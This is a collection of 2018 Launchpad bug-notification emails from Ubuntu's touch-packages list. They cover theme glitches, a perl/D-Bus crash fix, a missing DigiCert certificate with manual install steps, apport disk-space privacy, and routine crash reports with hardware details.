** Changed in: virt-manager (Ubuntu) Status: Confirmed => Invalid ** No longer affects: ubuntu-themes ** Changed in: ubuntu-themes (Ubuntu) Status: Confirmed => In Progress ** Changed in: ubuntu-themes (Ubuntu) Assignee: (unassigned) => Marco Trevisan (Treviño) (3v1n0) ** Changed in: virt-manager (Ubuntu) Status: Invalid => Won't Fix ** Changed in: virt-manager (Ubuntu) Status: Won't Fix => Invalid -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to ubuntu-themes in Ubuntu. https://bugs.launchpad.net/bugs/1758841 Title: virt-manager: Light grey menu items on light grey background are barely readable Status in ubuntu-themes package in Ubuntu: In Progress Status in virt-manager package in Ubuntu: Invalid Bug description: With latest update of ubuntu-theme (16.10+18.04.20180322.3-0ubuntu1) menu items in the toolbar are barely readable (cf screenshot) Background should be dark. virt-manager is the only application I found with this issue so far. ProblemType: Bug DistroRelease: Ubuntu 18.04 Package: virt-manager 1:1.5.0-0ubuntu1 ProcVersionSignature: Ubuntu 4.15.0-12.13-generic 4.15.7 Uname: Linux 4.15.0-12-generic x86_64 ApportVersion: 2.20.8-0ubuntu10 Architecture: amd64 CurrentDesktop: ubuntu:GNOME Date: Mon Mar 26 09:50:17 2018 InstallationDate: Installed on 2014-07-15 (1349 days ago) InstallationMedia: Ubuntu 14.10 "Utopic Unicorn" - Alpha amd64 (20140520) PackageArchitecture: all SourcePackage: virt-manager UpgradeStatus: Upgraded to bionic on 2018-03-24 (1 days ago) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/ubuntu-themes/+bug/1758841/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1743216] Re: perl crashed with SIGABRT in _dbus_abort()
This bug was fixed in the package xdg-utils - 1.1.3-1ubuntu2 --- xdg-utils (1.1.3-1ubuntu2) cosmic; urgency=medium * Use perl's decode() to ensure we don't pass invalid UTF-8 to D-Bus, as doing so triggers an assertion from libdbus which makes us crash. LP: #1743216 (Debian #910070, Upstream #108121) -- Iain Lane Tue, 02 Oct 2018 11:11:16 +0100 ** Changed in: xdg-utils (Ubuntu Cosmic) Status: In Progress => Fix Released -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to perl in Ubuntu. https://bugs.launchpad.net/bugs/1743216 Title: perl crashed with SIGABRT in _dbus_abort() Status in perl package in Ubuntu: Invalid Status in xdg-utils package in Ubuntu: Fix Released Status in perl source package in Bionic: New Status in xdg-utils source package in Bionic: In Progress Status in perl source package in Cosmic: Invalid Status in xdg-utils source package in Cosmic: Fix Released Status in xdg-utils package in Debian: Unknown Bug description: [ Description ] When xdg-screensaver suspend refers to a window with invalid UTF-8 in its title, it will spawn a perl process that crashes with an assertion: dbus[19455]: arguments to dbus_message_iter_append_basic() were incorrect, assertion "_dbus_check_is_valid_utf8 (*string_p)" failed in file ../../../dbus/dbus-message.c line 2754. This is normally a bug in some application using the D-Bus library. [ Fix ] Use decode() from the Encode module to replace invalid character sequences with U+FFFD, the replacement symbol. This is not a new dependency as Encode has been a perl core module since 5.8. [ QA ] I don't know how to get a window with such a title, so we can do two things. 1) 1. $ sudo -e $(which xdg-screensaver) # hack the script 2. Find the line "# Inhibit idle detection (flags = 8) with window name and ID." 3. Find the } on its own above that. Insert a new line afterwards and set the window name to be the same as the one in this bug, by pasting the code $window_name = "\253\062\065 Meter fehlten bis zur Katastrophe\273 - News Panorama: Vermischtes - tagesanzeiger.ch - Mozilla Firefox"; 4. Save and exit 5. $ xwininfo 6. click some window, and copy the "Window id", which will be 0x 7. $ xdg-screensaver suspend In the bad case (before this bug is fixed) it should crash, and in the good case it should work. 8. Undo what you just did by running $ xdg-screensaver resume 2) Observe that the error bucket https://errors.ubuntu.com/problem/b386f287972198daca290969b0ea5182ce8e5d52 has a reduction in report rate with the new versions. [ Regression potential ] If the code is bad then the window name passed to Inhibit() could be wrong. That shouldn't matter too much. If it is really bad then the program might crash for everybody and we'll see an increase in errors. [ Original description ] Errors Bucket - https://errors.ubuntu.com/problem/b386f287972198daca290969b0ea5182ce8e5d52 crashed after launching the software updater ProblemType: CrashDistroRelease: Ubuntu 18.04 Package: perl-base 5.26.1-4 ProcVersionSignature: Ubuntu 4.14.0-16.19-generic 4.14.12 Uname: Linux 4.14.0-16-generic x86_64 ApportVersion: 2.20.8-0ubuntu6 Architecture: amd64 CurrentDesktop: ubuntu:GNOME Date: Sun Jan 14 13:30:52 2018 ExecutablePath: /usr/bin/perl InstallationDate: Installed on 2017-12-28 (17 days ago) InstallationMedia: Ubuntu 18.04 LTS "Bionic Beaver" - Alpha amd64 (20171201) Signal: 6SourcePackage: perl StacktraceTop: _dbus_abort () from /lib/x86_64-linux-gnu/libdbus-1.so.3 _dbus_warn_check_failed () from /lib/x86_64-linux-gnu/libdbus-1.so.3 dbus_message_iter_append_basic () from /lib/x86_64-linux-gnu/libdbus-1.so.3 ?? () from /usr/lib/x86_64-linux-gnu/perl5/5.26/auto/Net/DBus/DBus.so Perl_pp_entersub () Title: perl crashed with SIGABRT in _dbus_abort() UpgradeStatus: No upgrade log present (probably fresh install) UserGroups: adm cdrom dip lpadmin lxd plugdev sambashare sudo To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/perl/+bug/1743216/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1782038] Re: [Patch included] Window buttons are small in a maximized Chromium window
** No longer affects: ubuntu-themes ** Changed in: ubuntu-themes (Ubuntu) Status: Confirmed => In Progress ** Changed in: ubuntu-themes (Ubuntu) Importance: Undecided => Medium ** Changed in: ubuntu-themes (Ubuntu) Assignee: (unassigned) => Marco Trevisan (Treviño) (3v1n0) -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to ubuntu-themes in Ubuntu. https://bugs.launchpad.net/bugs/1782038 Title: [Patch included] Window buttons are small in a maximized Chromium window Status in ubuntu-themes package in Ubuntu: In Progress Bug description: Repro: 1. Use the Ambiance or Radiance themes. 2. Launch a Chromium window. 3. Maximize. The window close, minimize, and restore buttons should be normal- sized, but instead appear small. This is because the buttons have a padding of 9px on the top and bottom, causing Chromium to think they're taller than they really are, so it downsizes them to fit the smaller headerbar on the maximized window. The attached patch removes the padding. There are no changes in behavior in apps other than Chromium. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/ubuntu-themes/+bug/1782038/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1766839] Re: gio does not delete directory with samba vfs recycle
*** This bug is a duplicate of bug 1777601 *** https://bugs.launchpad.net/bugs/1777601 ** This bug has been marked a duplicate of bug 1777601 can not delete a non-empty directory on remote NAS smb share -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to glib2.0 in Ubuntu. https://bugs.launchpad.net/bugs/1766839 Title: gio does not delete directory with samba vfs recycle Status in glib2.0 package in Ubuntu: New Bug description: steps to reproduce: * create samba share on ubuntu 16.04 with a recycle vfs * gio mount share on ubuntu 18.04 * create directory containing one file. * gio remove directory outcome: no effect. expected: directory created in recycle directory on server. contained file moved to recycle directory. extra: when file contained in directory is 'gio-removed' file IS moved to recycle directory. extra: whem rm -r is used in /run/user/.../gvfs directory, file and directory are moved to recycle directory. ProblemType: Bug DistroRelease: Ubuntu 18.04 Package: libglib2.0-bin 2.56.1-2ubuntu1 ProcVersionSignature: Ubuntu 4.15.0-20.21-generic 4.15.17 Uname: Linux 4.15.0-20-generic x86_64 ApportVersion: 2.20.9-0ubuntu7 Architecture: amd64 CurrentDesktop: MATE Date: Wed Apr 25 12:06:45 2018 SourcePackage: glib2.0 UpgradeStatus: Upgraded to bionic on 2013-08-23 (1705 days ago) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/glib2.0/+bug/1766839/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1795651] Re: ICU data package is grossly outdated
Yes, I'm well aware it could be rebuilt. Do you suggest me taking over the maintenance and rebuild it for you? -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to icu in Ubuntu. https://bugs.launchpad.net/bugs/1795651 Title: ICU data package is grossly outdated Status in icu package in Ubuntu: New Bug description: The data package compiled into supplied ICU libs is extremely out of date. I.e. the timezone information in libicu52 (Ubuntu 14) is as old as 2013g. The "newest" shipped tzdata in Bionic is 2017c, which is about as "new" as the one in Trusty. Means, pretty much rotten by now. It wouldn't be so hard to override it with env. vars, if not for applications, which intentionally clear environments at startup. F.e. PHP FPM. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/icu/+bug/1795651/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1795242] Re: Digicert certificate is not included
This is on ElementaryOS 0.4.1, which is based on Ubuntu 16.04: sudo dpkg -s ca-certificates | grep Version: Version: 20170717~16.04.1 And also on ElementaryOS 5 Beta 2, which is based on Ubuntu 18.04: sudo dpkg -s ca-certificates | grep Version: Version: 20180409 I was directed here from the ElementaryOS bug tracker. -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to ca-certificates in Ubuntu. https://bugs.launchpad.net/bugs/1795242 Title: Digicert certificate is not included Status in ca-certificates package in Ubuntu: Incomplete Bug description: The "DigiCert High Assurance EV Root CA" certificate is missing, which means that the system does not trust web sites that are using SSL certificates signed by that root. An example is a popular website in the Netherlands https://marktplaats.nl. The result is that no resources other that the text-only homepage is loaded. Installing the Digicert root certificte manually from Digicert solves the problem: ``` wget https://dl.cacerts.digicert.com/DigiCertSHA2SecureServerCA.crt mv DigiCertSHA2SecureServerCA.crt DigiCertSHA2SecureServerCA.der openssl x509 -inform DER -outform PEM -in DigiCertSHA2SecureServerCA.der -out DigicertSHA2SecureServerCA.pem.crt sudo mkdir -p /usr/share/ca-certificates/extra sudo cp DigicertSHA2SecureServerCA.pem.crt /usr/share/ca-certificates/extra/ sudo dpkg-reconfigure ca-certificates ``` Maybe there is a valid reason for not including this certificate by default, or maybe this certificate can be included by default, since it seems like it's assumed to be included on every machine. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/ca-certificates/+bug/1795242/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
Re: [Touch-packages] [Bug 1795242] Re: Digicert certificate is not included
Thanks, Seth, for looking into this. You're right; that certificate is indeed installed by default. I seem to have misstated the name of the certificate in my original bug report and post. It should have been the "DigiCert SHA2 Secure Server CA" certificate, which is the one I describe in the steps to resolve the problem. I apologize for having you look into the wrong certificate. Should the "DigiCert SHA2 Secure Server CA" be included in ca- certificates? A test site can be the static resources on https://www.marktplaats.nl, which is the largest second-hand market in the Netherlands. They use it for the static resources (not the main page, which is using a different certificate). A direct test URL might be https://s.marktplaats.com/z/dist/bower_components/gdpr-consent-banner/index.8e80894f.js, which is not trusted on a clean install. -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to ca-certificates in Ubuntu. https://bugs.launchpad.net/bugs/1795242 Title: Digicert certificate is not included Status in ca-certificates package in Ubuntu: Incomplete Bug description: The "DigiCert High Assurance EV Root CA" certificate is missing, which means that the system does not trust web sites that are using SSL certificates signed by that root. An example is a popular website in the Netherlands https://marktplaats.nl. The result is that no resources other that the text-only homepage is loaded. Installing the Digicert root certificte manually from Digicert solves the problem: ``` wget https://dl.cacerts.digicert.com/DigiCertSHA2SecureServerCA.crt mv DigiCertSHA2SecureServerCA.crt DigiCertSHA2SecureServerCA.der openssl x509 -inform DER -outform PEM -in DigiCertSHA2SecureServerCA.der -out DigicertSHA2SecureServerCA.pem.crt sudo mkdir -p /usr/share/ca-certificates/extra sudo cp DigicertSHA2SecureServerCA.pem.crt /usr/share/ca-certificates/extra/ sudo dpkg-reconfigure ca-certificates ``` Maybe there is a valid reason for not including this certificate by default, or maybe this certificate can be included by default, since it seems like it's assumed to be included on every machine. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/ca-certificates/+bug/1795242/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1795730] [NEW] dont start wlan adapter would not found
Public bug reported: ? ProblemType: Bug DistroRelease: Ubuntu 18.04 Package: xorg 1:7.7+19ubuntu7.1 ProcVersionSignature: Ubuntu 3.13.0-49.83-generic 3.13.11-ckt17 Uname: Linux 3.13.0-49-generic i686 NonfreeKernelModules: hid_generic usbhid hid usb_storage sdhci_pci psmouse firewire_ohci firewire_core sdhci ahci libahci crc_itu_t pata_acpi sky2 .tmp.unity_support_test.1: ApportVersion: 2.20.9-0ubuntu7.4 Architecture: i386 CompizPlugins: No value set for `/apps/compiz-1/general/screen0/options/active_plugins' CompositorRunning: None Date: Tue Oct 2 21:15:19 2018 DistUpgraded: Fresh install DistroCodename: bionic DistroVariant: ubuntu DpkgLog: GraphicsCard: Intel Corporation Mobile 945GM/GMS, 943/940GML Express Integrated Graphics Controller [8086:27a2] (rev 03) (prog-if 00 [VGA controller]) Subsystem: Fujitsu Limited. Mobile 945GM/GMS, 943/940GML Express Integrated Graphics Controller [10cf:1381] Subsystem: Fujitsu Limited. Mobile 945GM/GMS/GME, 943/940GML Express Integrated Graphics Controller [10cf:1381] MachineType: FUJITSU SIEMENS LIFEBOOK C1410 ProcEnviron: PATH=(custom, no user) LANG=de_DE.UTF-8 SHELL=/bin/bash ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-3.13.0-49-generic root=UUID=d3da7ca0-c6bd-4903-82cc-2179da8e7c3b ro recovery nomodeset Renderer: Software SourcePackage: xorg UpgradeStatus: No upgrade log present (probably fresh install) dmi.bios.date: 10/05/2007 dmi.bios.vendor: FUJITSU // Phoenix Technologies Ltd. dmi.bios.version: Version 1.13 dmi.board.name: FJNB1BB dmi.board.vendor: FUJITSU dmi.board.version: CP298000-04 dmi.chassis.type: 10 dmi.chassis.vendor: FUJITSU SIEMENS dmi.chassis.version: C1410 dmi.modalias: dmi:bvnFUJITSU//PhoenixTechnologiesLtd.:bvrVersion1.13:bd10/05/2007:svnFUJITSUSIEMENS:pnLIFEBOOKC1410:pvr:rvnFUJITSU:rnFJNB1BB:rvrCP298000-04:cvnFUJITSUSIEMENS:ct10:cvrC1410: dmi.product.name: LIFEBOOK C1410 dmi.sys.vendor: FUJITSU SIEMENS version.compiz: compiz 1:0.9.13.1+18.04.20180302-0ubuntu1 version.libdrm2: libdrm2 2.4.91-2 version.libgl1-mesa-dri: libgl1-mesa-dri 18.0.5-0ubuntu0~18.04.1 version.libgl1-mesa-glx: libgl1-mesa-glx 18.0.5-0ubuntu0~18.04.1 version.xserver-xorg-core: xserver-xorg-core 2:1.19.6-1ubuntu4 version.xserver-xorg-input-evdev: xserver-xorg-input-evdev 1:2.10.5-1ubuntu1 version.xserver-xorg-video-ati: xserver-xorg-video-ati 1:18.0.1-1 version.xserver-xorg-video-intel: xserver-xorg-video-intel 2:2.99.917+git20171229-1 version.xserver-xorg-video-nouveau: xserver-xorg-video-nouveau 1:1.0.15-2 xserver.bootTime: Tue Oct 2 21:00:20 2018 xserver.configfile: default xserver.logfile: /var/log/Xorg.0.log xserver.outputs: xserver.version: 2:1.19.6-1ubuntu4 ** Affects: xorg (Ubuntu) Importance: Undecided Status: New ** Tags: apport-bug bionic i386 ubuntu -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to xorg in Ubuntu. https://bugs.launchpad.net/bugs/1795730 Title: dont start wlan adapter would not found Status in xorg package in Ubuntu: New Bug description: ? ProblemType: Bug DistroRelease: Ubuntu 18.04 Package: xorg 1:7.7+19ubuntu7.1 ProcVersionSignature: Ubuntu 3.13.0-49.83-generic 3.13.11-ckt17 Uname: Linux 3.13.0-49-generic i686 NonfreeKernelModules: hid_generic usbhid hid usb_storage sdhci_pci psmouse firewire_ohci firewire_core sdhci ahci libahci crc_itu_t pata_acpi sky2 .tmp.unity_support_test.1: ApportVersion: 2.20.9-0ubuntu7.4 Architecture: i386 CompizPlugins: No value set for `/apps/compiz-1/general/screen0/options/active_plugins' CompositorRunning: None Date: Tue Oct 2 21:15:19 2018 DistUpgraded: Fresh install DistroCodename: bionic DistroVariant: ubuntu DpkgLog: GraphicsCard: Intel Corporation Mobile 945GM/GMS, 943/940GML Express Integrated Graphics Controller [8086:27a2] (rev 03) (prog-if 00 [VGA controller]) Subsystem: Fujitsu Limited. Mobile 945GM/GMS, 943/940GML Express Integrated Graphics Controller [10cf:1381] Subsystem: Fujitsu Limited. Mobile 945GM/GMS/GME, 943/940GML Express Integrated Graphics Controller [10cf:1381] MachineType: FUJITSU SIEMENS LIFEBOOK C1410 ProcEnviron: PATH=(custom, no user) LANG=de_DE.UTF-8 SHELL=/bin/bash ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-3.13.0-49-generic root=UUID=d3da7ca0-c6bd-4903-82cc-2179da8e7c3b ro recovery nomodeset Renderer: Software SourcePackage: xorg UpgradeStatus: No upgrade log present (probably fresh install) dmi.bios.date: 10/05/2007 dmi.bios.vendor: FUJITSU // Phoenix Technologies Ltd. dmi.bios.version: Version 1.13 dmi.board.name: FJNB1BB dmi.board.vendor: FUJITSU dmi.board.version: CP298000-04 dmi.chassis.type: 10 dmi.chassis.vendor: FUJITSU SIEMENS dmi.chassis.version: C1410 dmi.modalias: dmi:bvnFUJITSU//PhoenixTechnologiesLtd.:bvrVersion1.13:bd10/05/2007:svnFUJITSUSIEMENS:pnLIFEBOOKC1410:pvr:rvnFUJITSU:rnFJNB1BB:rvrCP298000-04:cvnFUJITSUSIEMENS:ct10:cvrC1410:
[Touch-packages] [Bug 1756595] Re: disk space info inadvertently provides all installed snaps
** Tags added: rls-dd-incoming -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to apport in Ubuntu. https://bugs.launchpad.net/bugs/1756595 Title: disk space info inadvertently provides all installed snaps Status in apport package in Ubuntu: Invalid Status in apt package in Ubuntu: Triaged Status in apport source package in Bionic: Invalid Status in apt source package in Bionic: Triaged Bug description: When apport is reporting a crash, it includes the output of the "df" utility, to list the free disk space information per mount point. That output nowadays will inadvertently include all snaps that the user may have installed, including their revision numbers. Here is a simple df output: andreas@nsn7:~$ df Filesystem 1K-blocksUsed Available Use% Mounted on udev 8119680 0 8119680 0% /dev tmpfs 16301561828 1628328 1% /run nsn7/ROOT/ubuntu433084288 2500608 430583680 1% / tmpfs 8150776 1 8131888 1% /dev/shm tmpfs5120 4 5116 1% /run/lock tmpfs 8150776 0 8150776 0% /sys/fs/cgroup nsn7/var/log430763136 179456 430583680 1% /var/log nsn7/var/tmp430583808 128 430583680 1% /var/tmp /dev/sda2 1032088 160336871752 16% /boot /dev/sda1 5232482720520528 1% /boot/efi nsn7/home 430651264 67584 430583680 1% /home nsn7/var/cache 430653312 69632 430583680 1% /var/cache nsn7/var/mail 430583808 128 430583680 1% /var/mail nsn7/var/spool 430583808 128 430583680 1% /var/spool tmpfs 1630152 16 1630136 1% /run/user/120 tmpfs 100 0 100 0% /var/lib/lxd/shmounts tmpfs 100 0 100 0% /var/lib/lxd/devlxd tmpfs 1630152 36 1630116 1% /run/user/1000 nsn7/lxd/containers/squid-ds216 431444096 860416 430583680 1% /var/lib/lxd/storage-pools/default/containers/squid-ds216 /dev/loop0 83712 83712 0 100% /snap/core/4206 /dev/loop1 102144 102144 0 100% /snap/git-ubuntu/402 You can see I have the core snap at revision 4206, and git-ubuntu at revision 402. There are already many bug reports in launchpad where one can see this information. Granted, the user can review it, refuse to send this data, etc. This bug is about the unexpectedness of having that information in the disk space data. If the user sees a prompt like "Would you like to include disk free space information in your report?", or "Would you like to include the output of the df(1) command in your report?", that doesn't immediately translate to "Would you like to include disk free space information and a list of all installed snaps and their revision numbers in your report?". To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/apport/+bug/1756595/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1781736] Re: Typo in assets link for focused buttons in Radiance theme
** Changed in: ubuntu-themes
Status: Triaged => In Progress
** Changed in: ubuntu-themes (Ubuntu)
Status: Triaged => In Progress
** Changed in: ubuntu-themes
Assignee: (unassigned) => Marco Trevisan (Treviño) (3v1n0)
** Changed in: ubuntu-themes (Ubuntu)
Assignee: (unassigned) => Marco Trevisan (Treviño) (3v1n0)
--
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to ubuntu-themes in Ubuntu.
https://bugs.launchpad.net/bugs/1781736
Title:
Typo in assets link for focused buttons in Radiance theme
Status in Ubuntu theme:
In Progress
Status in ubuntu-themes package in Ubuntu:
In Progress
Bug description:
There is a typo in the file /usr/share/themes/Radiance/gtk-3.20/gtk-
widgets.css that causes focused buttons to be drawn incorrectly in the
radiance theme. The following change should be made to the file to fix
the incorrect assets link:
118c118
< url("assets/button-focused.png@2"));
---
> url("assets/button-focu...@2.png"));
ProblemType: Bug
DistroRelease: Ubuntu 18.04
Package: light-themes 16.10+18.04.20180421.1-0ubuntu1 [modified:
usr/share/themes/Radiance/gtk-3.20/gtk-widgets.css]
ProcVersionSignature: Ubuntu 4.15.0-28.30-generic 4.15.18
Uname: Linux 4.15.0-28-generic x86_64
ApportVersion: 2.20.9-0ubuntu7.2
Architecture: amd64
CurrentDesktop: Unity:Unity7:ubuntu
Date: Sat Jul 14 15:41:53 2018
EcryptfsInUse: Yes
InstallationDate: Installed on 2018-06-23 (21 days ago)
InstallationMedia: Ubuntu 18.04 LTS "Bionic Beaver" - Release amd64 (20180426)
PackageArchitecture: all
SourcePackage: ubuntu-themes
UpgradeStatus: No upgrade log present (probably fresh install)
To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu-themes/+bug/1781736/+subscriptions
--
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1795678] Re: package linux-image-4.15.0-36-generic 4.15.0-36.39 failed to install/upgrade: run-parts: /etc/kernel/postinst.d/initramfs-tools exited with return code 1
Status changed to 'Confirmed' because the bug affects multiple users.
** Changed in: initramfs-tools (Ubuntu)
Status: New => Confirmed
--
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to initramfs-tools in Ubuntu.
https://bugs.launchpad.net/bugs/1795678
Title:
package linux-image-4.15.0-36-generic 4.15.0-36.39 failed to
install/upgrade: run-parts: /etc/kernel/postinst.d/initramfs-tools
exited with return code 1
Status in initramfs-tools package in Ubuntu:
Confirmed
Bug description:
Since upgrading from Lubuntu 16.04 LTS to Lubuntu 18.04 LTS
When Using Software Updater (either automatic notification or triggering
through the GUI menus)
I am getting "The installation or removal of a software package failed."
error almost every day (more often than not)
This is the first time I have been prompted to submit a bug report
ProblemType: Package
DistroRelease: Ubuntu 18.04
Package: linux-image-4.15.0-36-generic 4.15.0-36.39
ProcVersionSignature: Ubuntu 4.15.0-34.37-generic 4.15.18
Uname: Linux 4.15.0-34-generic x86_64
AlsaVersion: Advanced Linux Sound Architecture Driver Version
k4.15.0-34-generic.
ApportVersion: 2.20.9-0ubuntu7.4
Architecture: amd64
ArecordDevices:
List of CAPTURE Hardware Devices
card 0: PCH [HDA Intel PCH], device 0: ALC295 Analog [ALC295 Analog]
Subdevices: 1/1
Subdevice #0: subdevice #0
AudioDevicesInUse:
USERPID ACCESS COMMAND
/dev/snd/controlC0: david 1742 F pulseaudio
Card0.Amixer.info:
Card hw:0 'PCH'/'HDA Intel PCH at 0xb1328000 irq 134'
Mixer name : 'Realtek ALC295'
Components : 'HDA:10ec0295,103c83f8,0012
HDA:8086280b,80860101,0010'
Controls : 55
Simple ctrls : 15
Date: Tue Oct 2 15:37:20 2018
ErrorMessage: run-parts: /etc/kernel/postinst.d/initramfs-tools exited with
return code 1
HibernationDevice: RESUME=UUID=8690dd17-8c64-490e-9c50-d6099db9e1e4
InstallationDate: Installed on 2017-11-08 (327 days ago)
InstallationMedia: Lubuntu 16.04.3 LTS "Xenial Xerus" - Release amd64
(20170801)
Lsusb:
Bus 002 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hub
Bus 001 Device 004: ID 8087:0aa7 Intel Corp.
Bus 001 Device 003: ID 0408:51e9 Quanta Computer, Inc.
Bus 001 Device 002: ID 045e:0023 Microsoft Corp. Trackball Optical
Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub
MachineType: HP HP Pavilion Laptop 15-cc1xx
ProcFB: 0 inteldrmfb
ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.15.0-34-generic
root=UUID=c1b34c8f-6ab6-460d-9da0-56b763da6438 ro quiet splash vt.handoff=1
PulseList: Error: command ['pacmd', 'list'] failed with exit code 1: No
PulseAudio daemon running, or not running as session daemon.
Python3Details: /usr/bin/python3.6, Python 3.6.6, python3-minimal,
3.6.5-3ubuntu1
PythonDetails: /usr/bin/python2.7, Python 2.7.15rc1, python-minimal,
2.7.15~rc1-1
RelatedPackageVersions: grub-pc N/A
SourcePackage: initramfs-tools
Title: package linux-image-4.15.0-36-generic 4.15.0-36.39 failed to
install/upgrade: run-parts: /etc/kernel/postinst.d/initramfs-tools exited with
return code 1
UpgradeStatus: Upgraded to bionic on 2018-08-12 (50 days ago)
dmi.bios.date: 06/30/2017
dmi.bios.vendor: Insyde
dmi.bios.version: F.20
dmi.board.asset.tag: Type2 - Board Asset Tag
dmi.board.name: 83F8
dmi.board.vendor: HP
dmi.board.version: 46.38
dmi.chassis.type: 10
dmi.chassis.vendor: HP
dmi.chassis.version: Chassis Version
dmi.modalias:
dmi:bvnInsyde:bvrF.20:bd06/30/2017:svnHP:pnHPPavilionLaptop15-cc1xx:pvrType1ProductConfigId:rvnHP:rn83F8:rvr46.38:cvnHP:ct10:cvrChassisVersion:
dmi.product.family: 103C_5335KV HP Pavilion
dmi.product.name: HP Pavilion Laptop 15-cc1xx
dmi.product.version: Type1ProductConfigId
dmi.sys.vendor: HP
To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/initramfs-tools/+bug/1795678/+subscriptions
--
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1795721] [NEW] Newly mounted drive icons jumbled with Desktop icons.
Public bug reported: The icons for newly mounted [flash] drives automatically appear directly on top of existing desktop icons even if the the "Keep aligned" context menu has previously been selected. It can easily be corrected by selecting "Organize Desktop by Name" from the context menu, but past versions of Ubuntu have usually accomplished this automatically upon flash drive mounting without the need for doing it manually. I will attach a screenshot where you can see the icons mixed together. It appears to affect only flash drives and only the first one that is inserted, as additional drives that are added appear automatically organized on the Desktop. I'm not sure if it has anything to do with the size of the flash drive or not because my 2GB drive would not appear on the Desktop (or anywhere else for that matter) at all... ProblemType: Bug DistroRelease: Ubuntu 18.04 Package: xorg 1:7.7+19ubuntu7.1 ProcVersionSignature: Ubuntu 4.15.0-34.37-generic 4.15.18 Uname: Linux 4.15.0-34-generic x86_64 ApportVersion: 2.20.9-0ubuntu7.2 Architecture: amd64 BootLog: Error: [Errno 13] Permission denied: '/var/log/boot.log' CompizPlugins: No value set for `/apps/compiz-1/general/screen0/options/active_plugins' CompositorRunning: None CurrentDesktop: ubuntu:GNOME Date: Tue Oct 2 12:30:21 2018 DistUpgraded: Fresh install DistroCodename: bionic DistroVariant: ubuntu DkmsStatus: virtualbox, 5.2.10, 4.15.0-34-generic, x86_64: installed DpkgLog: ExtraDebuggingInterest: Yes, if not too technical GraphicsCard: Intel Corporation 3rd Gen Core processor Graphics Controller [8086:0156] (rev 09) (prog-if 00 [VGA controller]) Subsystem: Hewlett-Packard Company 3rd Gen Core processor Graphics Controller [103c:1854] InstallationDate: Installed on 2018-09-02 (30 days ago) InstallationMedia: Ubuntu 18.04.1 LTS "Bionic Beaver" - Release amd64 (20180725) MachineType: Hewlett-Packard HP 2000 Notebook PC ProcEnviron: TERM=xterm-256color PATH=(custom, no user) XDG_RUNTIME_DIR= LANG=en_US.UTF-8 SHELL=/bin/bash ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.15.0-34-generic root=UUID=11b3a365-ed63-4add-b6d2-0d7fe34d05bb ro quiet splash vt.handoff=1 SourcePackage: xorg Symptom: display UpgradeStatus: No upgrade log present (probably fresh install) dmi.bios.date: 06/16/2014 dmi.bios.vendor: Insyde dmi.bios.version: F.46 dmi.board.asset.tag: Type2 - Board Asset Tag dmi.board.name: 1854 dmi.board.vendor: Hewlett-Packard dmi.board.version: 64.2A dmi.chassis.asset.tag: 5CG3103SQ4 dmi.chassis.type: 10 dmi.chassis.vendor: Hewlett-Packard dmi.chassis.version: Chassis Version dmi.modalias: 